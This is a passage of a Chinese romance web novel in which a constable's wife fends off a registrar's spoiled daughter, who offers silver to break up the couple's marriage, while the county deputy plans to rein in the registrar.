祁晟压低声音道:“别声张,别叫祖母听见了。” 陆鸢:“那你这到底是怎么回事?!” 祁晟无奈道:“被县丞给打的……不是你想的那样。” 一看她忽然生变的表情,以及那冒着怒意的眼神,他虽不知道她想的是什么,但就是知道她在胡思乱想,而且想偏了。 “不只是我,就是嵇捕头,还有另一位行伍出身的副将,都被县丞无差别地给打了。” 陆鸢微微蹙眉:“咋的,你们仨联起来造反呀?” 当然,陆鸢也只是这么一说。 祁晟轻叹了一口气,说:“这一次是进山演练的,我们三人分别领了三支二十人的队伍,而杨县丞则领三十人占山为寇,我们的任务就是攻下山头,若谁先赢得,便得百贯赏银。” 陆鸢闻言,顿时明白了过来。 “然后你们仨就被完虐了?”琢磨了一下,又道:“杨县丞看着悍猛,那身形还有那柄大刀,瞧着都能以一敌百了,你们会输,也属正常。” 祁晟摇头:“平手。” 陆鸢诧异道:“这还有平手这一说?” 祁晟:“我们仨联手起来,还有好几个身手尚可的帮手,才算险胜,但也可以说是平手,因着真动手的话,我们这人的性命早没了。” 陆鸢心疼地看着他身上的伤:“可这是演练,下手未免也太狠了,你这手臂才好没多久,万一手臂再次伤了怎么办!” 念到后边,情绪都气愤了起来。 祁晟安抚道:“我尚且好一些,陈副将和嵇捕头伤得更重……,包里有你给我准备的跌打药酒,你给我抹点,后背我够不着。” 陆鸢从他背包里找药酒:“药酒味那么重,你这一抹,老太太不就知道了?” 祁晟道:“这点倒不用担心,我以前进山打猎,也难免有点擦伤,更别说这次进山是去锻炼的,身上有些擦伤,也是正常的。” “一会祖母问起我喊你作甚,你便说我后背擦伤了,给我抹点药酒,往轻了来说。” 陆鸢点了点头:“你趴下来,我先给你抹背上的淤青。” 祁晟趴到了床上,把药酒倒在掌中,再敷到伤处轻缓揉搓。 “可能会有点疼,你忍忍。” 祁晟:“无事,我受得住。” 陆鸢给他擦着药酒,好奇地问:“那按着县丞的说法,你们是胜了,还是平手了?” 祁晟道:“我们觉着是平手,大人说是胜了。” “因着是我们三支队伍联手,赏银则每队平分二十一贯钱,多出的三十七贯钱,则是分给了大人那边。” 陆鸢道:“那你们这还挺好的,大家伙打过一架之后,还能是好兄弟。” 祁晟:“银钱在包里,你一会拿。” 陆鸢:“不了,你自己也留点,别说不要,这平时应酬,手里没点银钱可不行。” 祁晟应:“那也行。” 陆鸢给他擦了后背还有手臂,前边胸膛后,药酒几乎都快没了一半。 “等我明儿个再去买一瓶药酒回来。” 她把药酒盖了起来,与他道:“你歇会儿,一会儿再喊你起来用饭。” 祁晟“嗯”了声,他确实也累了,方才她给擦药酒的时候就已经昏昏欲睡了,这一应完就睡了过去。 陆鸢出了屋子,回到厨房,老太太差不多都把菜做好了。 她一进厨房,老太太便吸了吸鼻子,使劲嗅了嗅,皱着眉头道:“不对呀,这是药酒的味道……” 老太太似乎想到了什么,蓦地转头看向孙媳,问:“晟哥儿怎了?” 陆鸢应道:“郎君后背撞伤了,都给撞出瘀青了,刚叫我进去给他擦点药酒。” 闻言,老太太脸上的神色一紧,忙问:“严不严重?” 陆鸢道:“瞧着伤了一大片,说不严重,又有点严重。” 老太太一听,立马就要解开围裙:“不成,我得去看看。” 陆鸢连忙拉住了她,劝道:“郎君刚歇下,别吵他了,且有我盯着呢,老太太你就别太担心了。” 老太太这才歇了去瞧的心思,而后纳闷道:“好好地怎就给撞伤了?” 陆鸢重新掌勺,没敢看老太太,只应道:“谁知道呢,说不定是在这锻炼过程中,他们互相切磋的时候给伤到的。” 老太太皱着眉头说:“那这下手也太狠了,都给打出淤青了。” 陆鸢心想,要是被老太太知道自己孙子上半身比不下四处瘀青,还是被孙子上峰打的,估计能跑到公署外头,指着骂县城黑心肝。 第100章 暮食好了, 老太太没让喊,让孙子继续睡,道晚间醒来再给他做夜宵。 一家子吃了暮食,陆鸢怕吵到他, 就在孩子俩的屋子歇下了。 到了晚上亥时, 房门被轻轻推开, 陆鸢和春花一块睡的,小秋花则和老太太睡。 陆鸢睡得正迷糊, 感觉到有人掀开了被褥,一件衣裳盖在了自己身上。 她嗅到熟悉的气息, 也没有被吓到, 祁晟抱上她时,她也攀住了他的肩膀, 窝在他怀里。 回了屋, 被放到床上后, 陆鸢强掀开眼皮与他道:“你去给春花掖掖被子。” 祁晟应:“刚掖过了, 睡吧。” 陆鸢打了个哈欠, 酝酿了一下后,反而是坐了起来。 祁晟见她不睡, 反倒坐了起来,问:“怎了?” 陆鸢的木屐还在孩子的屋子, 只得穿上布鞋, 说:“我给你下个馎饦,晚上做好的, 直接下锅就行。” 祁晟道:“你歇着,我自己去就好了。” 陆鸢摇了摇头:“醒都醒了,一块去。” 两人一同动作去了厨房。 她确实是一块来的, 但她连水都没沾。 陆鸢让祁晟把剩下的一大海碗的野鸡汤烧开,把馎饦放进去,等馎饦好了,再放一些微麻辣的香料,瞧着就很有食欲。 祁晟给她盛了半碗,自己则是一大碗。 陆鸢看着面前的夜宵,踌躇道:“会长胖的。” 祁晟道:“你不胖,反倒是太瘦了,还得长点肉。” 陆鸢掐了一下自己的腰:“自进城后,油水足了,我这腰身都大两圈了。” 祁晟:“不能用你的手量,得用我的。” 陆鸢脑子一下子通黄,睨了他一眼,嗔道:“不正经。” 祁晟:…… 他只是想说她手掌小,圈不过腰身。 吃完后,祁晟洗了碗便与她回屋。 这刚吃饱,一点也不困,陆鸢便拉着他,让他给自己讲讲进山锻炼的事。 祁晟便和她仔细讲了讲。 听到杨主簿的事,她道:“我瞧着你这位县丞,不说刚正不阿,但也是个正派人,怎么能容忍得了有这么个蛀虫在自己身边?” 祁晟:“历来知县和县丞都是三年一任,但底下的人,没有其他情况话会做一辈子,杨主簿在广康也有十五年了,早已经根深蒂固,城里的富商,乡绅太保,哪个不是以他为马首是瞻。” “这税收和平日的募捐,都是他出面,他手里估摸着有不少旁人的把柄。” “城中税收大头都是这些商户乡绅太保,若他们不配合,税收收得不顺利,也会影响到上缴到朝中的税银,直接影响到知县的功绩,所以便是知县,也不敢轻易动他。” 陆鸢道:“真真是铁打地方吏官,流水的知县,这样倒是杜绝了知县揽权成为土皇帝,可却让小官当道。” “这也是没办法的事。”他无奈道。 陆鸢道:“那这个杨主簿,没有为难你吧?” 新人入社,老员工都会下马威。 刚听他说杨主簿的为人,肯定和杨县丞不是一路人,两人不对付,那倒霉的只能是底下的人。 杨县丞是上峰,杨主簿不敢怎么样,没准把矛头对上祁晟。 祁晟:“先前让人传了些不好的话,县丞摆平了。” “什么不好的话?”她问。 “不过说我恃才傲物罢了,没什么可说的。” 陆鸢皱眉道:“反正他下回要是为难你,你就找县丞,可是县丞把你招揽到公署去的,若是不帮你,咱们不干了。” “咱们家可不缺他那么些月钱,就是摆摊,咱们也能吃饱穿暖,而且还不危险。” 祁晟闻言,脸上挂上了笑意。 她这副护着他的模样,和祖母护着他时,如出一辙。 祁晟在家歇了一天后,还得继续上值。 之前说好单日上值,双日休息,现在都快不算单日和双日了,公署有事的话,双日也得过去。 这当时县丞嘴上说着是自愿的,但祁晟为人负责任,不可能不过去,他估计那会儿就已经摸透了祁晟的性子,才会应得那般快。 且,祁晟在公署任职一个多月后,自己也心知肚明不能太过特殊,不然这底下的人也不会服他。 家里现在请了人,便是公署没事,祁晟也会去公署,跟着嵇捕头学查案。 这不用剿匪,总不能在公署里无所事事。 祁晟用了早食后,与她们道:“祖母,丽娘,春花秋花,我去上值了。” 老太太道:“路上慢点。” 祁晟应了声,便牵着马出门了。 这家里至公署要走三刻左右,骑马虽不能跑,但也能省下一些时辰,一刻余就到了公署。 祁晟身穿这公署捕快的衣裳,身形颀长而挺拔,模样英俊,骑在马背上的英姿甚是勃发,每回上值的时候,这道上都不少来围观他的小姑娘小媳妇。 对于美人,不管男女,都会招人喜爱。 她们也只是过过眼瘾罢了,倒不敢上前打招呼,更别说人家在公署当值,她们也惹不起。 有人不敢,有人却敢。 路边停了辆马车,一只白胖的手掀开了帷帘,看到那骑在马背上的人时,便直勾勾地打量。 等人走了,她才朝着外边的马夫道:“去公署。” 马夫为难道:“姑娘,老爷说这公署都是些大老爷们,你是千金之躯,不能与这些老爷们待一处。” 女子恼道:“让你去就去,废什么话!” 马夫无奈,只能驱赶马车而去,马车速度甚快,早早就追过了前边骑马的人。 公署中,一个捕快匆匆跑进前衙,说:“杨主簿那闺女来公署了!” 其他人闻言,顿时化作鸟兽散躲了起来。 他们可招惹不起这尊佛。 杨主簿家五个儿子,就一个闺女,简直把这闺女宠得没了边。 脾气也坏得很。 每回来公署就指手画脚,把他们这些捕快当作是家中下人来使唤,偏生这杨主簿还宠着,说她年纪还小,不懂事,让他们多多包涵。 还小呢,不过二十的年纪,成婚两回就和离了两回。 许是因为肥胖,成婚两次,都还没有孩子。 杨宝珠入了公署后,冷冷清清,一个人都没看见,脸色就沉了下来。 恰好先前在山中被抓做俘虏的齐捕快上值,前脚才进公署,看到那无法忽视的身影,踏进了一步的脚,悄悄地又往后收了回去。 杨宝珠一转头,就看见了他,喊:“你进来,别想躲,不然我找我爹去。” 齐捕快后悔得牙都快咬碎了。 早知道今日早上就不在家里吃朝食了,应该早早上值的! 被喊了过去后,齐捕快赔笑道:“宝珠姑娘,你来公署怎不去找主簿?” 杨宝珠道:“找你问点事。” 齐捕头:“啥事呀?” 杨宝珠直直看着公署门口,直到看到有人进来了,才问:“那人我怎没见过,什么时候进公署的,叫什么?” 齐捕头转头,循着她的视线望了过去,见着是祁砦官时,不由得咽了咽口水。 完了。 杨主簿家的闺女看上人家的郎君了。 齐捕头道:“那时县丞亲自招揽的砦官,已经娶妻了,还是两个孩子的爹了。” 杨宝珠闻言,眉头一皱,说:“瞧着年纪也不大,怎就成婚了?” 齐捕头心说人家年纪大不大,成没成婚,与你有什么关系? 祁晟目不斜视地从他们跟前走过。 杨宝珠盯着他的背影好一会,直至没了影子,才与身边的人说:“你还没说他名字叫什么呢。” 没听到回声,杨宝珠一回头,人已经跑远了。 扬眉骂道:“臭男人!” 她身边的婢女道:“姑娘,咱们现在要去找老爷,还是要回去了?” 杨宝珠想了想,应道:“找我爹去。” 祁晟找到嵇捕头,正要询问今日要去查的案子,齐捕快就追了上来。 “完了完了,祁砦官,杨主簿家的那千金看上你了!” 他的话一出,嵇捕头一愣,随即皱眉看向祁晟:“你怎招惹上她的?” 祁晟微一蹙眉:“杨主簿家的千金?我不记得有见过这么个人。” 齐捕快:“就刚刚站我身边的那个女人,身材这样的。”他划了一个圈。 祁晟道:“莫要对人家姑娘评头论足。” 齐捕快道:“别人家好姑娘我可不会评头论足,但你是不知道杨宝珠这个人有多娇生惯养,这脾气到底有多差。” “头,你说是不是?”他看向了嵇捕头。 嵇捕头看向祁晟,道:“便是杨主簿女儿看上了你,但你也不用太在意,他越不过杨县丞,若给你施压,咱们县丞会给你顶着。” 祁晟微一蹙眉,道:“看上我,与我何干?我有妻儿,我不会抛妻弃子,你们所说那人于我而言,不过是个素不相识的路人。” 齐捕头道:“杨主簿五个儿子才得一个闺女,简直宠得是要星星不给月亮,要什么都想办法给到。” “她前边两任丈夫,第一任算是自愿的,但第二任压根就是看中了人家的脸,直接用家里的关系胁迫了人家娶她。” “这婆家里伺候不上她这蛮横脾气,第二任都闹着出家当和尚了,她这才愿和离的。” 听到这里,祁晟脸色凝重。 他不怕麻烦找到他,却怕这麻烦会找到妻子和祖母那去。 嵇捕头拍了一下手下的脑袋:“你别在这危言耸听了,你说的第二任丈夫,是无权无势才被胁迫。而祁砦官有县丞撑腰,那是说胁迫就胁迫的?” 说着,看向祁晟,道:“先静观其变,要真有什么无妄之灾,你就去寻县丞庇护。” 祁晟点了点头。 心想回去之后,也得和丽娘说一说这件事,当麻烦寻上门,也好有法子应对。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-110 第101章 杨主簿正喝着茶, 就听到手下说自家宝贝闺女来了公署,连忙把茶盏放下,起身正要出去,闺女的身影就出现在了户房外头。 杨主簿把人带到休息的地方, 小声说:“闺女, 不是不让你来公署了吗?上回县丞都直接点了你爹, 说不是公中之人不能随意进出公署。” 杨宝珠不满地嘀咕道:“这新上任的县丞就是新官上任三把火,我瞧就是故意针对的爹。” 杨主簿道:“这县丞背景不简单, 便是连知县也让我避着些,以免踢到铁板。” 杨宝珠撇了撇嘴, 没当作一回事, 继而道:“爹,我瞧上那个刚进公署的祁砦官了。” 杨主簿一愣, 忙道:“闺女, 他可是娶了妻, 有孩子的, 可不兴抢人家郎君。” 主要这二婚头, 也配不上自个的闺女。 杨宝珠道:“可是他长得好看,是整个公署长得最好看的。” “就算成婚了又怎么样, 给他妻子一些银钱,让她主动提出和离不就成了?” 杨主簿道:“要是人家不依呢?” 杨宝珠道:“我不信一百贯钱她也不愿。” 杨主簿道:“说不定人家就是真的不愿意。” 杨宝珠:“我还没说呢, 她要是不愿意……”似乎想到了什么, 她看向她爹:“你让那砦官提出和离,他若同意和离, 爹你就说帮他再升升官,若是不愿意,那他这砦官也别做了。” 杨主簿犹豫了一下, 才如实道:“不是爹不帮你,是这个人他压根就不想做这个砦官,这个还真威胁不到他,而且他是县丞亲自招揽的人才,有县丞做靠,我也动不了他。” 杨宝珠听得不耐烦了,道:“这不行,那不行,我不管了,我自己去找他家里的那个!” 说着就转身跑出屋子。 “宝珠,宝珠,别着急,先等……”话都没说完,人就已经跑没影了。 杨主簿一拍额头。 这丫头说风就是雨,想要就要什么,根本不等什么从长计议。 * 陆鸢刚开摊没多久,就来了个穿得珠光宝气的富态妇人。 妇人瞧着有百三四斤,白胖白胖的,看起来二十出头的年纪。 不管是穿着打扮,还是带着一个婢女,都能看出来是大户人家的夫人。 落座前,妇人带来的婢女还把桌椅都擦拭过,还在座椅上都铺上一层色彩艳丽的垫子。 陆鸢:…… 这么嫌弃,怎不让人打包回去吃? 现在这时代,都已经有外卖了,只是叫法不一样而已。 看得出来,这客人不是个好脾气的,但来者是客,她还是笑脸相迎:“客人想吃些什么?” 那妇人在她和胡七娘看了一眼,最终打量的视线落在了她的身上。 这眼神,陆鸢曾在瓦舍舞娘黄鹂的眼底看到过。 是一种打量中带着自负,优越感的眼神。 然后再轻蔑地一笑,好似她都不如她们一样。 果然,接下来,那妇人轻嗤一笑。 陆鸢:…… 到底啥情况? 那妇人开了口:“把你这摊子上的每样吃食都给我来一份。” 陆鸢笑应:“好勒。” 陆鸢转身之后,笑意顿时被无奈替代。 她怕被挑刺,所以没让胡七娘来,而是她亲自动手。 陆鸢摊上就几样东西,有油条豆浆,油炸香豆腐,麻辣豆皮,她这几天还做了笋。 这开春了,笋也多了,市集上都能看到有不少人摆了新鲜的山笋。这新鲜的笋子买得不贵,大笋三文钱一斤,一整个可能就要十几文。 这小笋就卖得贵了,一斤九文钱。 小笋相对比大笋,少了些涩感,更加的鲜甜。 陆鸢买的是小笋,做成了酸辣笋,一斤笋能做三份,她一份卖六文钱,一份挣两文钱,生意还是很不错的。 等吃食都端上了桌子,婢女拿出了自备的碗筷放到主子的面前。 杨宝珠一脸嫌弃地看着面前的小食,心说要是不好吃,她肯定不会付钱。 她犹豫半晌,还是慢条斯理地夹起了剪好的油条,放在嘴边小口咬了一口,咀嚼了几下之后,眼神微亮,紧接着一口就把余下的都吃进了口中。 吃了油条了,她又试了别的,吃的速度也越来越快。 直至全部都吃完了,还有些意犹未尽,还想再点,“东家”二字都喊了出来,但不知她身边的婢女都说了些什么,她才此作罢。 看着这妇人吃干净了,陆鸢也暗暗松了一口气。 看来是很满意的,应该不会被挑刺了。 杨宝珠点了头,朝着婢女使了个眼色,婢女会意,抬头挺着胸,扬着脖子喊:“东家,结账。” 陆鸢上前,说:“一共是二十一文。” 婢女把一个盒子放到了桌面上,在陆鸢不明所以的时候,婢女把盒子打开了。 陆鸢往里瞅了一眼,待看到白花花的银饼时,眼神微变,她疑惑不解抬眼看向妇人:“不知道娘子这是何意?” 婢女梗着脖子继续道:“我家娘子瞧上你家郎君了,你若是愿意和离,我家娘子愿意用百两白银做交换。” 陆鸢:“???” 就在前一息,她还在琢磨着是不是要买她的方子,她还在为难要不要买。 她甚至还觉得自己的方子都不值这个价钱。 好家伙,这感情不是要买吃食方子,而是想买她家的男人。 祁晟担心的事情,还是发生了。 虽没有百金,但有百两。 这百两替换成人民币,估计都有好几十万呢。 婢女见她发愣,轻笑了一声:“还没见过这么多的银子吧,瞧傻眼了吧?” 陆鸢回神。 眼前的妇人,看穿着打扮就不是普通人。 而且行事还这么霸道,估计家中也是有些势力的,不然就寻常商户家的闺女,是不可能说出这么惊骇世俗的话来的。 她抬眼看向面前的两人,笑道:“二位可真会开玩笑,我家郎君那般人中龙凤,在广康城中也鲜少有此惊艳的人,莫说百两白银了,就是百两金子,我也不愿意和离。” 瞧着那白胖妇人的脸色沉了下去,陆鸢继而笑道:“再说,我和我家郎君是经历过患难的,感情可不是一般人能比的,若是二位想与我开个玩笑,我也不妨陪二位乐呵乐呵,但这和离的事可不能拿来开玩笑。” 白胖妇人冷眼一凝:“我瞧着,像是在与你开玩笑吗?” 陆鸢笑了笑,道:“娘子生得珠圆玉润,丰腴白皙貌美,举手投足都斯文,穿着也光彩夺目,家世肯定是极好的,大把郎君喜欢娘子这样的,娘子何苦要与我抢郎君?” 本冷着脸的杨宝珠,听到对方妇人满嘴都是夸她的话,忽然间有些没反应过来。 夸得还挺特别的,算她有眼光。 杨宝珠抿着嘴角,压住喜意。 她一时间,冷脸有些挂不住。 “你别以为说几句奉承的话,这事就能了了,我家娘子瞅上的郎君,就没有得不到的道理。”婢女狐假虎威道。 陆鸢闻言,皱起了眉头,看着婢女道:“你这话什么意思?我何须奉承,我只是实话实说罢了,你难不成不觉得你家娘子肤白丰腴?不觉得你娘子斯文?不觉得你家娘子貌美?” 婢女被反问得一愣一愣的,恰好自家主子这时也皱着眉头,不大高兴地看向了自己。 她慌张解释:“娘子,我不是这个意思,我的意思是那妇人故意说这些话是想讨好娘子。” 陆鸢:“怎的,这年头说实话还算讨好了?罢了罢了,有这样的婢女,下回谁还敢夸赞娘子?” 陆鸢瞧来,这妇人确实长得还可以,只是这穿着打扮太过浮夸,所以看着才会把这优点遮了去。 当然,她抢人丈夫的事,陆鸢对她没啥好感,只是不想太得罪人,才会想法子先把人稳住。 杨宝珠听到她的话,一琢磨后,心里对自己婢女就有了意见。 婢女跟着主子好些年头了,一看自家娘子的眼神,就能揣摩出来她在想些什么。 她忙补救道:“娘子,她这是在挑拨离间,我没……” “你闭嘴吧,”杨宝珠不悦呵斥,今日不知怎的,尽说些她不爱听的话。 婢女只得闭上了嘴,原本下巴都快抬到天上去了,现在只能是缩着脖子窝着。 杨宝珠仔细瞧了眼陆鸢,虽然确实看上了她家男人,但不可否认的是,这妇人也极对她的性子。 更别说她做的吃食,还挺对她味的。 琢磨了一下,她忽然道:“既然你舍不得你家男人,我允你做小,留下来。” 陆鸢:…… 不是,这位客人,我连你姓甚名谁都不知道呢,你就让我从正妻变小妾? 祁晟到底是从哪招惹来的人才? 这正想着曹操,曹操就来了。 “丽娘。” 忽然传来叫喊声,两人都循着声音望了过去。 杨宝珠看到自己今日瞧上的郎君,脸上笑容顿粲。 祁晟朝着陆鸢走了过来,一眼也没看坐着的客人,与她道:“我听祖母说你今晚没吃什么,所以给你让祖母熬了点白粥,一会儿先喝了。” 马车放在家里,祁晟下值后就会先回去把马车装上,再赶过夜市这边。 陆鸢还没说话,杨宝珠先出了声:“祁郎君。” 祁晟这才看向桌面的人,微微蹙眉:“娘子哪位,我可认识你?” 陆鸢:…… 好家伙,都还没认识呢,这就上门来逼宫了。 杨宝珠站了起来,微微一笑:“我姓杨,唤宝珠,家父是你上峰。” 祁晟眉头拧得更紧:“我记得杨县丞才三十出头的年纪,娘子这年纪瞧着也不小了,应当不是杨县丞的千金吧?” 陆鸢嘴角略一勾。 他是会说话的,多说点。 杨宝珠表情一滞:“我不是杨县丞之女,家父是杨主簿。” “而且我年纪也不大,不过二十出头。” 祁晟道:“抱歉,我还以为娘子已然三十有余了,言语有失,还请见谅。”表情淡淡,看不出有一丁点的抱歉。 他就转而与妻子道:“让七娘看着摊子,我陪你先回去把粥喝了,别饿着,容易坏肚子。” 听到他形容自己的样貌像三十有余,还有被忽视得彻底,杨宝珠顿时红了眼,一股气在心头生了起来,骂道:“你这人什么眼神,还让我见谅,有你这么说话的吗?!张口就说我年纪大,你家娘子不仅眼神和嘴都比你的好!” 第102章 “你这人什么眼神, 还让我见谅,有你这么说话的吗?!张口就说我年纪大,你家娘子不仅眼神和嘴都比你的好!” 祁晟好似听不懂似的,谢道:“我代我娘子多谢夸赞, 这确是实话, 我家娘子不仅眼神和嘴都比我的好, 便是旁的也比我好。” 陆鸢紧紧抿着唇憋着笑。 她也是没想到,祁晟平时话不多, 可怼起人来,毒得很。 杨宝珠不管什么时候都是被捧着的, 哪有像现在这样, 被自己刚看上的人忽视得这般彻底。 她捏了捏手里的帕子,蓦地转头看向妇人:“我与你说的事, 你好好考虑考虑, 我之后才来寻你。” 说罢, 再看回祁晟, 扬起下巴道:“你长相长到了我的心尖上, 你今日说的这些过分的话,我便不与你计较了。” 说着转身就走, 婢女连忙收拾桌垫和坐垫,拿着匣子和垫子朝着陆鸢就冷哼了一声, 又仰着下巴离开。 这一看就知道, 平时没少借着自家主子的势来狐假虎威。 看着人走了,胡七娘才敢和东家郎君告状:“祁郎君, 你是不知道,刚刚那个胖妇人拿了一匣子的银饼,说是送给东家, 让东家和你和离。” 祁晟闻言,转头看向陆鸢。 又给她说中了。 前有黄鹂,后有杨主簿之女。 祁晟点了点头,道:“我会与娘子仔细说。” 他看向陆鸢:“我们先回去。” 陆鸢点头,转头和胡七娘道:“你先看一会摊子,我小半个时辰后就回来。” 胡七娘点了点头。 两人并肩回去,回到巷子后,祁晟颇为疑惑:“我未成婚之前,也没见有过这些事,怎就成婚后,这些事就一茬接着一茬?” 陆鸢转头瞅了他一眼,说:“估计是有了人夫感,更有魅力了。” 祁晟眉头微蹙:“别开玩笑。” 陆鸢心道她可没开玩笑。 “虽然不知道你以前是什么样的,但没经过那次意外前肯定还是个少年郎,经过之后,又有了媳妇孩子,定较先前更加成熟稳重了,且你有了我这个媳妇,就穿着打扮上都是我上了心的,别说平日你都是骑马出行的。” “纵观这广康城,骑马出行的男子中,样貌英俊且阳刚的,又能有几人?” 别说其他人了,就是她,在路上遇上这么个人,她也要盯着欣赏一会儿。 祁晟一默,他好似真的反驳不了。 入了院中,祁晟去把粥热了,还有一些小菜也都端上了桌。 他道:“我也不知怎的招惹上那妇人,就今日去公署的时候见过一面。” 陆鸢拿起筷子,道:“原来你见过呀,我还真以为你没见过呢。” 祁晟道:“早间上值时,就在公署看见的,没太留意。” “但没一会儿,同僚就说她看上我了,让我小心些,说她这个蛮横不讲理,肆意妄为。” 陆鸢一听,这不就是妥妥的性转版二世祖么。 “你说这样的人,会不会真把我的摊子给砸了?” 祁晟仔细想想,也不敢打保证。 “我对这个人不了解,我再去打听打听。” 陆鸢:“要是她真想砸,咋办?” 祁晟道:“我一会去和里甲打个招呼,让他们看顾着点咱们家的摊子。” 陆鸢一叹,道:“这也不是长久的法子,就没有什么一劳永逸的法子吗?” 祁晟皱着眉头琢磨了好半晌,灵光忽显,看着她:“法子有是有,但你不能嫌我。” 陆鸢看着他,目光怀疑:“啥法子?” 祁晟想了想,开口说了三个字:“脏,丑,坏。” 陆鸢更疑惑了。 脏,丑,今年她就见过两回了,但是这坏,该怎么坏? 早间上值,嵇捕头看到祁晟的时候,就觉得他和平时有些不同,但又说不出哪里不同。 祁晟与他道:“昨日杨主簿之女到了我娘子的摊子了。” 嵇捕头惊诧道:“可是为难你家娘子了?” 祁晟点了点头:“拿了一小匣子的银饼,让我娘子与我和离,不愿意就做小。” 嵇捕头一阵沉默。 “杨主簿家的女儿,这么霸道?” 祁晟一点头,才反应过来这话不是嵇捕头说的。 两个人齐齐转回头,就看到县丞不知何时站到了他们的身后,他们竟然一点儿也没有察觉到。 县丞饶有兴味看向祁晟:“说说看,杨主簿千金是怎么看上你的,又做了什么?” 祁晟应:“其实属下也是才见第二回,许是长得还算得过去,不知在哪见过属下,就给看上了。” “昨夜拿了银饼去属下家的摊位前,用银子收买属下的娘子,让属下的娘子要么和离,要么做小。” 杨县丞一笑:“这倒是和寻常闺阁中的女子不同。” 嵇捕头和祁晟听到这话,都有些惊讶地看向他。 杨县丞摆了摆手:“自然,不是在夸她,而是见过纨绔子弟,还真没见过纨绔女子,我素来对这些纨绔都没什么好脸。” 说罢,又道:“我还真没想到杨主簿会有这么一个闺女,说说看,这女子都说过什么事?” 嵇捕头从事这行十数年,不说会揣测人心,但暗中似乎瞧出了一点不寻常。 ——他们的县丞,似乎不仅要整顿广康的山贼强盗,还要整顿他们的公署风气。 年节安平镇的一役震慑住了那些山贼,可算是消停了些。 如今剿匪会暂缓,那要是没猜错,接下来就该是整顿公署了。 嵇捕头应:“这杨主簿的千金,在家中排行第六,前头都是哥哥,所以杨主簿就溺爱过度了,两次成婚,两次和离。” “第一任丈夫,样貌英俊,本是我们公署的一个小吏,但因被她看上了眼,就成了管衙吏的头,许是这两年吃得好了些,便发福了,就和离了。” “和离后,人就被调到镇上做治安去了。” “第二任丈夫,是个秀才,本不愿意娶,可听说杨氏闹着要嫁,甚至是绝食,杨主簿便用考科举之事来做要挟,更是搅了秀才爹的活计,就是秀才给书肆抄书的活计也没了,这才答应的。” 祁晟和杨县丞听了这些事迹,眉头都不由地皱起。 杨县丞问:“后来又是怎么和离的?” 嵇捕头道:“听说这秀才家自从与其成亲后,不仅自己被欺压,爹娘也被欺得像鹌鹑一样,只要与儿媳在一块,连吃饭都不敢上桌,秀才看不下去了,就闹去出家了,头发都剃了下来,杨氏自是不可能守活寡,便就同意和离了。” 杨县丞脸色一沉:“岂有此理,这与抢占良家有何异?!” 嵇捕头趁机道:“这不现在看上祁砦官了,估计这事还没完呢,若是祁砦官和她娘子不松口,这杨氏一闹绝食,闹起来,杨主簿心疼,就会想各种办法逼迫祁砦官。” 杨县丞闻言,看了眼祁晟,看到他的衣裳皱皱巴巴的,还穿戴不整,似乎猜到他想做什么了。 “怎的,你还想毁坏自己的形象,让那杨氏知难而退。” 祁晟闷咳了两声,问:“有这么明显吗?” 他还想循序渐进,但没想第一天就被识破了。 杨县丞道:“你这人心思缜密,办事稳妥,哪回上衙不是穿戴整齐,精神抖擞的,除非是没那条件,不然也不会这么穿着来公署。” 嵇捕头闻言,才恍然,他就说今日的祁砦官比平日不同。 祁晟道:“属下这也是怕她家里来寻我娘子的麻烦,怕来砸摊子。” 杨县丞一挑眉:“砸,让他们家砸,损失记在他们家的头上,让他们家给你赔双倍,就是让你娘子到时候躲远些。” 祁晟和嵇捕头相视一眼。 这阵势,是要搞这杨主簿了? 杨县丞上下打量了一眼祁晟,嫌弃道:“赶紧去把衣服熨平。” 祁晟无奈,只得提着装着热茶的茶壶去偏房,自个动手把特意弄皱的衣服熨平。 下值时归家的路上,祁晟忽被一个男子拦了去路。 “我家娘子说,要约郎君小酌,还请郎君赏脸。” 一听,祁晟便是没见着人,也知道男子口中的娘子是谁。 男子往旁的马车看了眼,祁晟循着他的目光望去,便见那杨宝珠趴着窗沿,见他看过来,笑着招了招手。 祁晟转回头,道:“男女有别,我已婚,待在一块不合适,还请回绝你家娘子。” 男子忽然双手合十地哀求道:“郎君可别为难小的,我家娘子说了,若是请不来郎君,我这赶马车的活计就没了,我家里还有一家老少要养活,没了这活计,我们全家都得喝西北风。” “郎君你就行行好,去见一见我家娘子吧,就算不小酌,亲自去拒绝也行。” 祁晟骑在马背上,居高临下地瞧着马夫,面上的神色没有半点动摇:“你的活计与我何干?别想用自己的不幸来要挟我。” 话到后头,祁晟冷下了脸,不再废话,直接驱马而去。 马车上的杨宝珠也是直接黑脸,气得直接把帘子甩下。 马车里的婢女立马道:“娘子,这人怪不识趣的,咋办?” 杨宝珠道:“你给我去问她家娘子,愿不愿意给个准话,要是真的不愿意,可别怨我来横的。” 婢女点了点头。 她是知道自家主子的,不见得有多喜欢那郎君,不过就是看见了喜欢的东西,好似一支漂亮的珠钗,无论如何都要得到。 没得到前,很是执拗,非要得到,不然就绝食,闹死闹活的。 但是得到后,无论多好看的珠钗,久了也是会厌弃。 她觉着,她家娘子就是喜欢好看的人和东西,享受得到的那个过程。 越得不到,她就越起劲,越是心心念念。 第103章 祁晟至家中, 便把今日县丞提的事,还有在回家途中遇上杨主簿之女的事一并说了。 陆鸢一言难尽地看着他:“那你这算是诱饵吗?给杨县丞惩治杨主簿的诱饵?” 祁晟道:“人性皆有自私的一面,只能是把这杨主簿震慑了,危及了他的仕途, 他才会从溺爱孩子的父亲角色中抽离, 我们也能少些麻烦。” “那你昨天说的脏, 丑,坏呢, 还要继续吗?” 祁晟摇了摇头。 看着他摇头,陆鸢才暗暗松了一口气, 心说真要变成又不讲卫生, 又丑又坏的祁晟,虽说权宜之计, 但同时也在折磨她。 这什么宝珠只是见一会会, 而她才是和他过日子的那个。 那会, 她该是与他一块住, 还是分床睡呢? 祁晟见她微微松了一口气, 无奈地笑了笑,继而道:“这几日一旦有不对劲的人来摊子, 你便与那胡七娘站远些,小心别被热油溅到了。” 陆鸢点了点头, 忍不住问:“要是真砸了, 还能赔偿,我是不是能把所有用具都换新的了?” 祁晟:“……你想到的只有这个吗?” 陆鸢:“不然呢, 都说了不管了,有杨县丞的话打底,这赔偿的事肯定是没意外的了, 就算这杨主簿不赔,那相信杨县丞的为人,还是会赔偿的,对吧?” 祁晟:…… 她脑子里,装的还真全是银子。 也不知装了银子后,心底还没有角落装他。 祁晟一时间想歪了,忙回神,定定地看她:“这可大可小,你还是小心些。” 一开始应该只会吓唬,不会真的伤到人,但这话他不能与她说。 